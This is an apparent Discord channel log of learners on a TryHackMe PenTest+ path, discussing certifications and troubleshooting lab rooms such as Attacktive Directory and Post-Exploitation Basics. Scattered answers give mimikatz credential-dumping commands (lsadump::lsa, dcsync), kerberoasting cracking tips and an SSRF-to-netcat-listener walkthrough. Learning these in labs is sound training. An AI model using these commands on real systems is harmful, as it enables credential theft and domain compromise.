#pentest-plus-path
1 messages · Page 1 of 1 (latest)
What would you recommend?
I'm also wondering
hi Mal
To pass the PenTest+ Certification, I recommend taking the course of Jason Dion on Udemy, he is a really good instructor. But I don't think you should attempt to the PenTest+ certification because it's a very theorical certification, i would suggest you to go more for certifcations from vendors like Offsec or eLearnSecurity.
Pentest+ satisfies DoD 8570 which is a big thing in the US
Royal salutations à tous
bro open the attackbox use the same script you used on your vm or whatever you were using.
very simple
the error is that you don't have
the module on your vm
attackbox has it preinstalled
Hello folks. Having trouble in Attacktive directory with the impacket tools. “No module names impacket.examples.utils’
Means you don't have impacket installed correctly
salut mec
Is it much harder to do theoretical? I'm also aiming for eJPT.
How can you get more experience?
I haven t attempted for eJPT, but I have heard that if you solve CTFs it wont too hard. About the difficulty, i think that always depends of your preparation. In case of the PT+, it is reputated as a hard exam and there many many terms and definitions to know by hearth. It is funnier to prep for a practical exam as it requires you to do practical things. To get more experience just do CTFs
You're an absolute unit. Thank you for the help!
Gave +1 Rep to @normal quarry
You welcome! If you have more questions do not hesitate!
good day guys!
I am having a problem with Attacking Kerberos room!
I cant seem to understand where to put which hash in the golden/silver ticket task
can I get some help please?
the krbtgt one ?
If i understand your problem well, you do not understand how kerberos works
The krbtgt account always sign the ticket with his hash so you have to use that one
I understood that lol!
I dont understand one thing now
How can I get passwords after I have gotten a golden ticket
A golden ticket as administrator can do anything
So when this ticket is into memory you can do anything including dumping hashes with mimikatz
Are you looking for the command to dump hash with mimikatz ?
You can't directly get passwords normally you only can have hashes
Then you can crack those hashes
how do you get hashes?
I couldnt locate system32/SAM
If you're system, there's often cached passwords in memory you can grab
Yeah i know that thats why i said normally
You can use mimikatz
lsadump::lsa /patch
lsadump::dcsync /user:<DOMAIN><USER>
Hey all! I'm trying to understand Q2 on OWASP Top 10 in THM.
How many non-root/non-service/non-daemon users are there?
I did not see anything but how do we tell if there are users?
if you can check a specific file you can see all the users of a system
then from there you are looking for something that on windows would be equal to a documents folder
but in linux is called /home folders
Thank ya!
Gave +1 Rep to @torpid lance
Okay!
To you guys, is learning how to hack literally Googling? I'm starting to realize this because I don't know a DAMN thing.
to some extent yeah.... learning how to search and find answers to problems you are having is a huge part of tech stuff including hacking and programming
90% of it really
and the other 10% can be reading your past notes for how to do things instead of searching it up online
What would you guys recommend as a website that you can always refer back to?
Kinda like the place where you get your notes from?
I literally don't know shit about fuck and coming off of Security+, this is a whole different beast!
I use some particularly high quality THM rooms to refer back to, along with manuals and just google searches
That's awesome man! I thought I began to understand and then I look at a new technology and then I'm even more lost
Any time you're doing something new, it'll take you some time to find your feet
Hey folks i am preparing for the pentest+ exam any tips and guidance would be highly appreciated
Learn your tools and switches, practice a LOT
HI guys. Faced the problem on the last room of the past (Post-Exploitation Basics)
Task 3 Enumeration w/ Bloodhound
I do everything like it's written. Collect data with sharphound, copy it on attackbox with scp. Then I try to import (Import Graph) and it fails with error Bad JSON. Also tried to import with Drag&Drop. Then import freezes with messages File Created from incompatible collector (in View Upload Status)
You probably have to downgrade your version of bloodhound. I had this same issue and a few other posts like this; downgrading bloodhound seemed to work
not sure if it's possible on attack box. local kali mb too. mb build from source
bloodhound
For some reason I’m the attacktive directory module I’m not able to download bloodhound
I keep getting the error E: unable to locate bloodhound
are you using your own VM, or the attackbox?
attackbox
apt install bloodhound neo4j this is the command im using
yyes
oh really i didnt know
ok let me check
ok i see it thanks
btw is it possible to post screenshots in here ?
Hello guys im currently working on attacktive directory and keep getting an error when trying to run GetNPUsers.py
The two versions should be equal; check your installation.[2:13 PM]im not exactly sure what to check
Please don't post in multiple places, It's spam and just makes it harder to solve problems
You know what this is considered, right
?
Yeah...
But i offered em help elsewhere
didn't want someone else to come in here and get confused
All good, I'm more messing with you than anything else 😄
So the whole mini-modding thing is dependant on whom you are?
interesting
No.
So.
Robert gave the person an answer in a different channel and asked not to spam on multiple channels.
I gave an answer to someone in a different channel and asked them the same.
Why did I get told off for "mini-modding" but you were joking with Robert?
I expected you to be more conscious on recognising what I was doing here.
This is not the right channel for that anyways.
If you want me to DM you, let me know.
Sure.
hi guys I am about to start my local-host vulnerabilities module. Any prerequisite?
as for the windows fundamentals, I only finished part 1 alongside the web fundamentals pathway and the first three modules of the pentest+ pathway
Regarding Post-Exploitation Basics Task 3, I found the most success using the Attackbox and the last Bloodhound version before version 4 (3.0.5 I think). After unzipping the download, run the file named "Bloodhound" in the folder using the "--no-sandbox" flag, and you should be good to go. DON'T use the version of Bloodhound already installed. As of 8/28/22, it's not compatible with the version of SharpHound on the Windows machine you're running mimikatz and whatnot on
Hope this saves people some time troubleshooting
nice thanks crow... going to book mark this answer for shadow using this @true frigate and hope to remember this when they need it to help others
Gave +1 Rep to @vernal plover
Cool 👍
One more thing: for Attacktive Directory, simply using "python3 impacket ..." didn't seem to work, but "python3.8 impacket ..." did. Something about the default version of python3 in the Attackbox not being compatible with the current version of Impacket (it mentioned needing Python version >=3.7). However, I don't remember whether or not python3.8 is already in the system or if it needs to be downloaded
The attackbox uses python3.9 for these tasks i believe. I'll update the room
This should make it clearer
Ah yes, it was 3.9. Thank you!
Ty. Hope that works. i just wasted hours to get Bloodhound run Properly -.-
Hope it works for you too 👍
it did import the zipfile using Bloodhound 3.0.5. Thanks!
Maybe someone from staff could update the room giving an hint for the working Bloodhound version..
Gave +1 Rep to @vernal plover
Yeah, because if memory serves, I only figured out the correct Bloodhound version by looking through this Discord
Ah, i missed this when i updated the other thing... Bloodhound was updated on the attackbox so that the new AD networks work properly. The joys of backwards compatability with other rooms... I'll speak with the room creator and Attackbox maintainer and see what the best solution is.
As it's a free room non-subscribers will find it a bit harder to get the Bloodhound 3.0.5 zip onto the VM, so I'm reluctant to just say "install this version" in the room
You rock 👍
I didn't know that was a thing, I'll check it out, see if it's on the attackbox and add it into the suggestion 🙂
Not sure what i'm doing wrong there... Even the verbose option doesn't give me much
I wondered for a sec, then figured it'd probably tell me XD Fixed that and get the same error. If you could that'd be great, might be an ID10T error, but i'm not sure
Nmap is saying yes. If the command is suboptimal I blame beer and lack of sleep 😄
domain controllers tend to have dns open
is what shadow has learnt from the few rooms on active directory
yeah, port 53 is listed as "Microsoft DNS"
Granted you're scanning tcp amd it was complaining about 53/udp
Ah yeah... Good point
I'll see what happens, There's some other things that are higher priority first 🙂
Thanks for checking though
Gave +1 Rep to @torpid lance
hi, I am in the last step Post-Explotation Basics and my local bloodhound server does not accept foldes as import
and when I tried to import jsons one by one appeared a bad json message
drag & drop th zip 🙂
should work
Regarding Post-Exploitation Basics Task 3, I found the most success using the Attackbox and the last Bloodhound version before version 4 (3.0.5 I think). After unzipping the download, run the file named "Bloodhound" in the folder using the "--no-sandbox" flag, and you should be good to go. DON'T use the version of Bloodhound already installed. As of 8/28/22, it's not compatible with the version of SharpHound on the Windows machine you're running mimikatz and whatnot on
Hope this saves people some time troubleshooting
@wooden ice
thanks I will try this
Gave +1 Rep to @true frigate
+1
It works. Dropping zip is the only way to import.
hi, I'm not able to access target machine via rdp
xfreerdp /dynamic-resolution +clipboard /cert:ignore /u:CONTROLLER /v:10.10.170.157 /u:Administrator /p:P@$$W0rd
Are you on the attackbox?
you might need quotes around that password, as it contains special characters.
Could someone help clarify in lay man's terms what a reverse shell is?
Thank You. Had the same Problem and it worked.
Gave +1 Rep to @idle smelt
A shell that connects back to provide access. Idk if that ever got answered
hey so im trying to use burp suite and in task 9 for the burp suite room it says download foxy proxy and when i tried using it my own kali vm with burp suite, it wont work. like i entered the proxy information and that caused my searches to hang but i never see the request on burp suite
everything works fine when i use the open browser option in burp suite itself but id like to know what im doing wrong while using my own browser aswell
anyone use foxy proxy in their own vm's and know how to set it up ?
Check the proxy tab and make sure intercept is off.
Firefox should error out if you have pointed it at a proxy that doesn't exist
so i was trying to download the cert for burpsuite to use so i can access sites through the proxy but to goto the site to download the cert it says i need a cert... im not sure if im explaining things correctly or if im just doing a dumb mistake. how do i download the cert to use burpsuite. i tried following the troubleshooting instructions but tht didnt help either
https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate
This includes troubleshooting
I'm finishing up the THM path but I feel like I should still do more before my cert exam. For those that have taken the exam, what all did you use to study for Pentest+?
hello so i went to the site you gave and it said to download the cert i need to goto http://burpsuite. but when i go there i get this
it still says i need the cert but i thought i had to go there to get the cert
you are trying to go to the wrong website
it should be http://burpsuite/ not https://www[.]burpsuite[.]com/
yeah that isint working either
you need to connect foxyproxy to burps proxy first
or http://burpsuite/ will not work
i tried that too
if i do this it just says i need the cert to connect
but im tryna get the cert
i feel like im just missing something very obvious but idk what
http not https
i tried that too but its ok i figured it out. youtube tutorial did something completely diff but it works so wooo
nice nice
You need to accept it initially
Working on OWASP top 10 task 26. Where you create the python script in base64 and put it in the cookies. I keep getting this response for nc. Any ideas?
Looks like I have a connection but I can't find it
hi
I having a problem
root@ip-10-10-159-117:~/Downloads# python3.9 /opt/impacket/examples/GetNPUsers.py spookysec.local/svc-admin -no-pass
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
[*] Getting TGT for svc-admin
[-] [Errno Connection error (SPOOKYSEC.LOCAL:88)] [Errno -2] Name or service not known
Error connection
any one can help?
nop
How can I do It
ok
an then??
and then?
It will work. xD
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 tryhackme.lan tryhackme
The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
That is what I saw within
What information did you find with Lassi's advice?
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 tryhackme.lan tryhackme
The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
But what do you do with a host file?
nothing else
Are you sure?
Google.
What do you do you with a host file
ok ok
im doing the nessus room. on task 4 question 5 it asks a question based off of the scan that im supposed to perform. i put in the ip of the machine thm gives and i put in all the correct settings for the scan but i get no vulnerabilities when the scan is complete. i know that vulnerabilities are supposed to show up because when i followed the write up in the help section, it shows that vulnerabilities appeared and that would give me the answer to the question but i cant figure out why im getting nothing when i perform the scan
why is it that when i type in the ip in the attack box, the website comes up but not if i type in the ip on my actual browser or in a vm
are u connected to openvpn yet on your browser or VM?
no do i need to be connected to access the site?
yes u need to be connected to THM openvpn to access the machine that u started in there
facepalming hella hard rn lol thank you
Gave +1 Rep to @maiden remnant
does it matter if i have the vpn on my actual machine or my virtual machine
vpn helps u to connect to remote network
and by this u can only connect to 1 vpn while doing room in tryhackme and i recommend to connect to vpn in VM
gotchu thanks
i was asking cuz i was running the scan but its been running for like 10+ min so i was starting to wonder if i did something wrong
rule of thumb ping it first before u run any scan (unless the machine blocks scmp)
In the Nessus room (basics installation etc) - task4 scanning there is a question about scan type for lower bandwidth connection.
I think I'm looking where I'm supposed to, but even after finding the correct answer text on the interwebs I cannot find it in the Nessus screen. Is it a bug or am I reading very poorly? I'm on Nessus v10
Same for the next question on the Apache HTTP server version...
Same for the first question on task 5; it seems the plugin has been replaced by a recent one with a different ID
this one had the answer to the question in task 4 found out in task 5 🙂
Yes there is.
The brackets count as stars
i would say port scan all ports
ah damn
okey
thanks
forgot the brackets
my answer is incorrect here
anybody knows why?
also nessus bad
is it?
Eh, I don't use it as much as I used to.
I mean there's few alternatives
I'm making a new Vm and I won't be putting Nessus on it.
i'm just trying the basic pentesting tools room so that's why i'm using it
any alternatives?
i like the interface though
it's like nmap scan with a gui
It does a hell of a lot more
Plenty of issues with it, I mean you got one just now. A false positive on something reasonably simple.
good point
Has anyone used the pentest+ discount recently? I've had no luck applying the code. Curious if it's user error, or the voucher is expired( it says it expires dec 2021, but i see comments this year of people explaining how to apply it)
@edgy tulip said it was extended, but I've seen some people mention it doesn't work.
thanks, good to know that it is not just me.
i've emailed thm help, so will see what comes..
Gave +1 Rep to @spiral hollow
No idea why, but i finished the Active directory room and suddenly its marked as undone. How?
There is two AD basics rooms.
You may have done the old one.
But it was in this path and it was marked complete? @spiral hollow
Perhaps in the late UI switch they swapped over the rooms.
Yeah, but i can't be because it's the same questions i already answered
Look at the bottom of the room to see how old it is.
I'll check it out in a moment
the room is 52 days old
guess i'll start it over again
It's just weird that it didn't reset task 1 and 2
so i think that it is a bug
it may be that only the other that was changed, and task 1 and 2 stayed the same meaning you'll only get reset on the ones which has changed
Thank you! But... 😄
Currently on the Attacking Kerberos Task 4 - Looking at the previous chats in here, and I'm having the same issues cracking the hash but with no success. Any ideas as to what I'm doing wrong?
The instructions say that the "Pass.txt" dictionary is just a shortened version of rockyou. I decided to just use rockyou since it's already on the attackbox
oh...
silly words 😆
Downloaded Pass.txt (1240 lines) retried cracking the hash and no joy
Noted. Thank you
is there anyone who's doing offenssive pentesting path right?
Going to start
any one have a penetration testing room in tryhackme.....
what do you mean by that ?
If u have created a room where ppl can learn pt
Please let us know what's the update, is the code expired or what?
why are you spamming all the channels mate?
He thinks he is funny, after doing 5 year old kid stuff & then deleting it like nothing happens
he was banned he was a scammer he was dm'ing in private the moment you were replying to his messages
interesting, hope in future there will be less annoying ppl
Can anyone tell me if this path still gives a discount towards the voucher? I can't find anything at the moment to point towards it still being an active offer.
No the voucher date is expired.
But apparently it's still valid
As a general rule of thumb, you are always best off with asking your question right away, that way it's more likely someone will respond 🙂
Ok so when I copied the bin sh inside curl and started the /usr/bin/menu the new shell run as root Bea cause /usr/bin/menu was owned by root right?
Well, it's giving you a root shell because the SUID bit was set, as well as it was owned by root, yes
Beside that this is only working because the menu binary is not using full paths
Thanks mate
@idle brook Hi. I noticed your eJPT cert in your THM profile congrats. How would I add a cert to my profile.
You can ask a mod to add them. Which certs do you have? For some, proof may be required
Ok you have it 🙂 might wanna change your pfp re your name
Thank you Dolphin for the help greatly appreciated. I'll change back .
I was Doing Post-exploitation Room and Got the Loot.zip file using scp to my local machine But Bloodhound is not accepting the .json files or the zip file .
Neo4j is running perfectly fine .
I also get This when i start bloodhound
@zinc merlin
what do you guys think about the Certificate, its enough to look for work?
?
I don't think so But It's a good start
i think im gonna do it, any recomendations for the next cert?
PNPT Is pretty Nice
From Tcm-Security
@civic falcon check out the certification pathway Paul Jerimy made:
ty
Gave +1 Rep to @frosty orbit
This is pretty darn nice .
It’s dope to see everything listed visually. Especially when starting out because it can become quite overwhelming.
True Specially It's easy to see all the Popular Certs ( that you might don't know about) .
Would you guys say that after completing this path, you were prepared for pentest +?
Or is there anything else I should go out and look for to study
I'm thinking of going for it next potentially
i think im gonna do pentest+ anyway and then go for beginners paths, like CEH, Kali Linux Certified Professional. i dont know if this is the correct path , any opinions ?
Just this path alone won't help. You have to be able to identify and use 50 tools for exam. Plan ,scope and report a test. You can get a study guide online for $30 or a Udemy online course.
can anyone help to me kow the command switch used to scan all the ports in nmap?
man nmap
Have a read through.
i searched in the man but couldnt find it..
https://nmap.org/book/port-scanning-options.html#port-scanning-options-ports here you can find your answer
I started with the eJPT certification. Great hands on learning. The exam you pentest a fake company. You get 72 hours to complete the pentest and answer 20 questions. The cert wont land you a job. In my opinion you will learn more from eJPT then CEH/Pentest + combined and save a couple thousand dollars.
jur pen test path and offensive pen test is enough to make the eJPT cert?
I think that Ejpt cert is good enough for a entry level/intern job. Am i right
Yes. Tryhackme and eJPT course is enough to pass eJPT. It's the only training I had when I took the exam.
any promo code for eLearnSecurity Junior Penetration Tester v2 Exam Voucher? xD
@wintry bone 🤟🏾
?
Good shit .. that nmap post ... Ty
Is ejpt Voucher bought from any other source than their Website legitimate?
Took and passed Pentest+ this past weekend, and this course truly was VITAL in helping me understand a lot of the questions.
did you do another course to pass the exam?
I used Dion's PenTest+ but I learn better by doing rather then having someone tell me info.
do you guys reckon it is feasible to pass the pentest + as my first cert? assuming in the work of course
hello my hashcat isn't working when I tried unhashing kerbroas hash
Can someone explain why I use the first smbclient syntax I cannot get the .txt, but I use -Uusername%password and that works. The first one should work right?
because smbclient uses for login into system and for that it needs username and password
with smbclient you can only list shares without password & username
How is the comptia test structured?
You were in the wrong directory the first time. A directory you couldn't write to.
It's not to do with username or password. Look at the error, error opening local file. Local means on your machine
The test is 3 skill questions and the rest is multiple choice. That said, the questions are posed in a way that you need to read them carefully. You need 87% or so to pass. Several answers can be right, but one might be more right then the other
hey
I have a problem with bloodhound in the last room
postexploit room
I gather the loot in a zip file
but when im trying to upload it to bloodhound it wont't load
incompatible something
upload a newer version of sharphound or use an older version of bloodhound... as the room is quite old the bloodhound on the attackbox or in normal repos is a lot newer and therefor incompaitlbe with the older version of sharphound on the target machine
Hi I am trying to use Openvpn in Kali to access the first machine in this learning path. It is showing me that I am connected but I cannot do anything from my VM even though it is showing me as connected to THM.
Might be because you have NAT set for the VM
That's OK
NAT for the VM doesn't stop the VPN working
Ah ok. Sorry then
Quick question im trying to perform an Xmas scan ( $ sudo nmap -Pn -sX -p 1-999 10.x.x.x) this is the second question on Task 14 for the Nmap project. i keep receiving "999 ports are in an ignored state (meaning being filtered most likely by the firewall)". I thought by using -Pn i would be able to evade the firewalls ICMP block?
No, that's not what -Pn does at all
-Pn assumes the host is up
Nmap's ping probes aren't just ICMP probes, there's a lot more to it than that
And Nmap can't just evade the firewall's block. The block is a solid rule.
which question in said room and challenge are you stuck on???? also read ninja james messages as it explains things neatly
@true frigate hmmm its question 2 on task 14 of the nmap project* i know the answer but id like to learn how and why.
that seems like a super easy question to answer to shadow.... as you kinda answered that above
999 ports are BLAH
also a heavy recommendation when using nmap is to at least add -vv to it
to have more verbosity
@keen hornet ahh i see thanks
Gave +1 Rep to @keen hornet
@true frigate will do thnks
no problem
I'm having a strange problem where I can't get the hashs from the kerberos room out of terminal where hashcat will recognise the format ... any ideas or suggestions?
main problem seems to be it copies the format with line returns and spaces 😦
Ah yeah that problem... Shadow used a text editor with search and replace with regex support
Yep, trim those and it'll work. I think there's an argument for the program that outputs hashcat format
does finishing this path still give you a discount on the cert exam?
Yes,10%
Why thank you shadow, I'm still plagued by the problem but will endeavour to broaden my mind and explore the regex replacement method once one has found time to explore the command switches... thank you.
Gave +1 Rep to @true frigate
Thanks
Gave +1 Rep to @mighty stag
I'm in the Vulnversity room and can't connect to the machine. firefox says "unable to connect". It's been that way since yesterday. I terminated the machine, refreshed the browser activated the machine again but nothing will do. Can anyone help me sort it out? I have completed "reconnaissance" and "locating directories" sections with no problem. Then moved to "compromise webserver" and the issue began
the attackbox has sublime text which has the ability to do search and replace with regex
Do you have the right port?
do i need a port to open a webpage in firefox browser?
No, but you need to connect to the correct one here.
Hey, I was wondering if anyone has run into this with the CompTIA Pentest+ path. (Also, feel free to delete this if this is the wrong channel for this question. I wasn't sure if this fell into tech support or not?). I completed the path to get a 10% off voucher for the actual pentest+ exam, but the discount code expired at the end of 2021. Does THM still offer a valid discount these days, or has that offer long expired?
I guess the code works for the test voucher, but not any of the bundles. It doesn't seem like codes can stack either, which is fine. For people trying to save money on bundles like I was, the best bet might be to join the club for $50 and get 20% off. Sorry if this is getting off topic, but I know that code was a big carrot for me completing the pentest+ path before looking at official study materials 🤷 I assume other people in this chat would benefit from that info, but feel free to delete this if it's too off topic
Cc @edgy tulip might be worth investigating?
I'm doing the Nessus module. Anyone know why my nessus scan isn't getting results? I installed Nessus on my kali linux VM and ran a scan targeting the TryHackMe machine, and nothing is outputted.
Hi guys, I'm having a challenge with kerbrute on tha Attacktive Directory challenge room. I have given my kerbrute executable permissions but I keep getting a permission desired error when executing commands. Has anyone faced the same problem and jlhow can I resolve it?
Hi guys, i recently installed nessus but after a while i got an error during plugin installation so it's installed but without plugins, so is there a way to install plugins without any reinstalling
While trying to pull kerbrute from github, I am facing this issue. How to resolve this?
I gotta say the Attacktive Directory is just terrible. I have never encountered so many problems trying to install various programs from bloodhound to evil-winrm; I get error after error, and I cannot find any help. I really wish I could get my money back from tryhackme. I am wasting so much time not learning pentesting, just trying to get these programs to install properly. IMHO, this room is a piece of crap.
They are not installed already in the attack box.
And I wanted to set up my own linux machine for pentesting.
hi, I'm encountering a problem since last week and I need to find out where the issue lies. When I run nmap with -p- tag, I get starting nmap 7.60 and it hangs there forever, nothing ever happens again. But when I run it asking with no tag or with a range of ports (e.g p200-400), it works flawlessly. So what's wrong with the all ports -p- tag?
it depends on your internet speed and also the scan type. EG if you are using tcp connect scan it will take longer than syn stealth
Hello
Hi
hi
hi
Gm.
Hello 👋
Hey guys!
Does anyone have any idea abot the "bad json file" error in bloodhound?
I'm trying to import the json file for post exploitation basic room in task 3 but unable to do so.
Can anyone help me regarding that?
yuup that is because the sharphound.ps1 on the target machine is old so it is not compatible with the newest versions of bloodhound... either upload a newer version of sharphound.ps1 to the target machine or use the latest 3.0.x release of bloodhound
Thanks will give it try to downgrade bloodhound
has anybody else finished the pentest+ path but the progress is stuck at 99%?
thanks
Gave +1 Rep to @spiral hollow
Is there a way that I can start neo4j version 4.0.1? The current version I have is 4.4.16
In machine "Post-Exploitation Basics" in task "Task 3 Enumeration w/ Bloodhound" troble. In victim's machine old version scriopt ps1, and bloodhound cant read this dump. When I download on victim machine new ps file I get some errors when i try do dump... it is awful.
do these rooms ever get updated? Instead of learning, I'm administering to get the job done
please, change file SharpHound.ps1 to new version on victim machine, or make remark "only BloodHound version 3.0 support dump file". Because I can open dump file only in 3.0 version of BloodHound on AttackBox
anyone know why the Vulnversity room in the Complete Beginner and PenTest+ Pathways are showing as incomplete but when you enter the room, all tasks are completed?
This is already a #1092490706385383524 and is being looked into by THM Staff.
Ok perfect, thanks for the heads up.
Gave +1 Rep to @vapid cipher
Hi,
Did you manage to finish everything from comptia pentest + path, but can't download the certificate because one room is unfinished (even though progress is 100%)?
It's because of the Vulnversity room, it's a known bug, they're working on it #1092490706385383524
Thank you, but this bug has status resolved...
What do you mean?
I reported this bug and I can see the status
It's right there in this channel #1092490706385383524, I would guess it means they acknowledge your report
Hey ya'll. I'm on task 14 of the nmap section of the pentest+ learning path.
Does the target (MACHINE_IP)respond to ICMP (ping) requests (Y/N)?
I've got my machine running on 10.10.134.218 - Which machine am I supposed to be scanning for the answers?
If it really says MACHINE_IP, you need to go back to task 1 and start the machine there
Ah, it expired. Forgive me, new to the THM platform, it's loading right now. Thank you for your assistance @daring ore!
Gave +1 Rep to @daring ore
It happens, especially when there's so much to do in a room. You're welcome 🙂
anyone help me ??
Hi everyone, currently working may way through the Attacking Kerberos room and am running into an issue when trying to enumerate users using Kerbrute. I've added the DC within my host file and am using the user list from the room however Kerbrute isnt finding any users, can anyone help me please?
ah ignore me, I used wget to download the user file but it downloaded the web page instead of the list, I knew it would be something really stupid
@topaz cobalt Glad you found solution. Have to mention, that in future, switch -v may save you quite a bit of debugging time. It can reveal an issue Kerbrute wouldn't else let you know about. Like if the user has Kerberos pre-auth turned off (should ring some bells!) or if there is an error with authentication. Like if your attacking machine's time differs greatly with the time on DC (cannot authenticate succesfully). :)
Running Attacking Kerberos room and having some issues with the hashcat command giving me errors, I have watched a few walkthroughs that show people using nano to put the hash into a hash.txt, I tried this but still get the same error, when I review the file the hash is split up, not sure if it's supposed to do that. I have tried also using the 23$ and without, still get the same errors.
you do need to fix the separation in the file
remove any space
you definitely need the 23$
Alright, will try that.
let me know how it goes
Cracked! Awesome, thanks,.
you're welcome 🙂
Hi. I'm currently working on OWASP Top 10, Task 5 and I'm trying to connect to evilshell.php link, but its tell me that my browser (Safari) can't find the server machine_ip/evilshell.php. I tried using Google and I get the same error message. Any suggestions?
Do you have an ip, or does it state "machine_ip" ?
Hello, in OWASP Top 10 - Task 18... the link provided to https://example.com/bank?account_number=1234 does not work. Also, in Task 19, which VM are they referring to, I do not see a link of any sort? In task 20 we are supposed to connect to a http://MY_IPADDRESS active machine but it simply comes to a page titled Note Viewer with a login and password form. The instructions state to click on "Reflected XSS" in the menu but there is no menu.
Task 25 requires to connect to http://machine_ip address as well and the Note Viewer page pops up.
Does it say "machine_ip" or does it say the IP of the machine?
Sounds like you haven't deployed the targets, and that first example is an example...
can you please look at the URL in Task 18, it does not make sense. Also, the website we were supposed to visit for the 2nd question of task 18, it is the note viewer page and when putting in the credentials listed on the lab, a message comes up saying "I am noot!." it does not provide a key
nevermind i got that figured out
task 20 - XSS - same Note Viewer Page shows up... I have started the machine
i've checked some THM walkthrough pages and the instructions do reference a "reflected xss" tab
ok i reset my vpn and the machine and was able to get it to work, sorry for the inconvenience
Hey guys, is this path really benefical while studying for Pentest+ cert ?
it have content that is for pentest+ cert... so yea. can come handy
Anyone have an issue with attackbox on the Post Exploit room at the end?
Attack box doesn't have the loot.zip file preloaded to utilize with bloodhound. Can't SCP it from the windows client without Attack box root password. Unsure how to get loot.zip to attackbox
I stg...
@pine pine ^ Thats all I had to do last night...
oh man... lmao!
Are CTF's an actual staple as far as bread and butter task that Pentesters do or is it just to develop the skills in the tools used and methodologies?
what would you guys recommend as a prerequisite to starting this learning path? i know the website says to have "theorhetical knowledge of the pentest+ syllabus", but is that absolutely needed? thanks in advance
#974406074444685322
#pre-security-legacy-path
#junior-pentester-path
#878393611929129000 optionally
then this
i did intro, pre, and i started complete beginner, but was wondering if i could jump to pentest
also thank you very much for your response
no problem
Hey all, I'm working on the kerberos room thats part of this path, so far no issues but i do have a question that I cant seem to let go. With kerberoasting and as-rep roasting how does the actual cracking part work? I am familiar with the traditional methods of password hash cracking but as far as I can tell this is different, normally you have the hash of the password, then you go though your word list hashing each one and comparing. But in this case you have the hash of the TGT, so how does hashing passwords and comparing them to the TGT hash help at all? Thanks in advance - I cant find any clear explanation anywhere (probably bc Im misunderstanding something)
Hey guys, I'm on the metasploit part and trying to do the eternalblue exploit but get this "Exploit completed, but no session was created."
I'm using kali in a VM and have changed the LHOST to the openvpn IP. Any other troubleshooting ideas you guys have?
You're using the wrong IP.
RHOST is the target. LHOST the Listener Host, so your tun0.
sorry- thats what I meant. I did set LHOST to my tun0
not according to what you typed here you didn't.
Do you have a macine open?
yes its active
Can I have the ip please?
10.10.171.205
Can you verify your account please, and type options and then send a screenshot?
!docs verify
I was setting LHOST to the actual IP, not "tun0". Would that make a difference? Ill try again
Typing tun0 saves you typing the ip, tun0 is the name of the interface.
You also might want to restart the machine, I kind of broke it...
lol okay
Once you do, go through the steps and then double check with options.
Thanks man its working now. I was using setg before if that could've had any affect
Has anybody else had issues installing kerbrute?
I'm working on installing krb5 instead
When I run command kinit root/admin@KALI I received message kinit:Cannot contact any KDC for realm KALI while getting initial credentials. I checked .conf file and domain is setup, systemctl confirms the server is running
nevermind DNS was not configured properly. It is now
Hi I am unable to download the completion certificate for the Pentest+ Path. I just finished it today , as tomorrow progress will be lost for the rooms disappearing, as per THM email. My issue: when I click to download the certificate, a pop-up window appears in brown saying "Fetching certificate, please wait", but then nothing. Thank if you can help.
Turns out I can download the certificate when I use Chrome, but not Firefox. I don't know why (maybe some extensions interfering on FF?) Issue solved.
hello, can someone please help me understand what exactly this flag do --data-length? I understand it appends random number to the packet sent, but why do we need to do add extra numbers to the packet?
It doesn't seem like there is much help unless you ask at a time when others are present
Understood, thank you!
Has the Pentest+ Path been updated yet? still looks the same as before from what I can see
ah, now it looks updated
Finally passed the exam last night
Congrats!
I'm just beginning the study path of preparing for it
@keen dew It's a good time for that since THM just updated the Pentest+ path.
What they added makes a lot of sense especially adding python related rooms.
Ya I had completed the Pentest+ path before but I just reset my progress for all the new rooms and starting fresh
Hello, would pentest+ path be better to start prior to Jr pentester path for a beginner?
prb not
There is a recommended path that is shared by @true frigate, but I can't seem to find it.
Thanks!
Gave +1 Rep to @spiral hollow
Thank you!
Gave +1 Rep to @vapid cipher
FYI for the CompTIA Pentest+ path, in the Python Basics, in Task 5, the pre-coded is incorrect.. many of you already know but just throwing it out there anyway... The correction was made by adding a separation between "bob"; and hungry.. like this 2nd screenshot..
I wanted to test it, not assume the code worked. When I tested the precoded on 1st screenshot, it threw an error, so I added a separation, 2nd screenshot was corrected.
BTW, I did pass the Pentest+ PT0-002, it was fun to do and wished there were more hands on. Should be 50% hands on and 50% Multiple Choices.
should i do this path before web fundamentals?
I would go with web fundaments first.
will do. whats your reasoning for choosing web first though. just curious
You'll need to start with the basiscs first as they'll strengthen your foundation later on. Aside from it, the pentest path may have more advanced topics as well.
OOPS! i thougth this was the jr pentester path channel. i meant to ask between that one and web fundamentals
There is a recommended path in the pinned post in the #general channel.
Guys I am having issue with connecting to the network in breaching AD
Can anyone help me with that? I tried all the methods
Did you check the pinned messages?
Yes
pinned messages in #pentest-plus-path right?
No, in the channel #breaching-ad
Thanks! I will check that out
Gave +1 Rep to @spiral hollow
Hi, I am doing the Python for Pentester rule. I am stucked at the ssh Brute Forcing Section. I bruteforced the password for tiffany, but I cannot log in. Using ssh in verbose mode I get the this: debug1: expecting SSH2_MSG_KEX_ECDH_REPLY there it hangs. Can anyone help?
restart the machine and try again
That didn't help. What helped: reinstalling ssh client. But thx for your help
Gave +1 Rep to @cosmic pecan
Hi, wanted to know if anybody can tell me how to get to admin area in the SSRF section of the owasp_top10_2021_v1.2 room. Could not figure it out.
Simply change the value of the server to point to your attacking machine, you could just capture the contents of the request using Netcat: nc -lvnp 80
I am not able to run mimikatz.exe in Persisting Active Directory room. When I run, its just get stuck, I tried reseting/starting after sometime, all results in the same issue. Can anyone help me get through this?
[SOLVED] I tried C:\Tools\mimikatz_trunk\x64\mimikatz.exe but didnt work, then tried C:\Tools\mimikatz_trunk\Win32\mimikatz.exe, It worked perfectly
What do you mean by change the value of the server?
As you can see, there is a download functionality in the webpage.. Intercept the request through burp, then click on download. You will be able to see the request in burp.
As you can see the parameter ?server, that points out to a domain. Now we will change the value to our attacking machine's IP address. Before that, we need to run a listener on port 8087 as the website is running on port 8087. Now send the request
Keep hitting forward, now check your terminal. You will receive the flag.
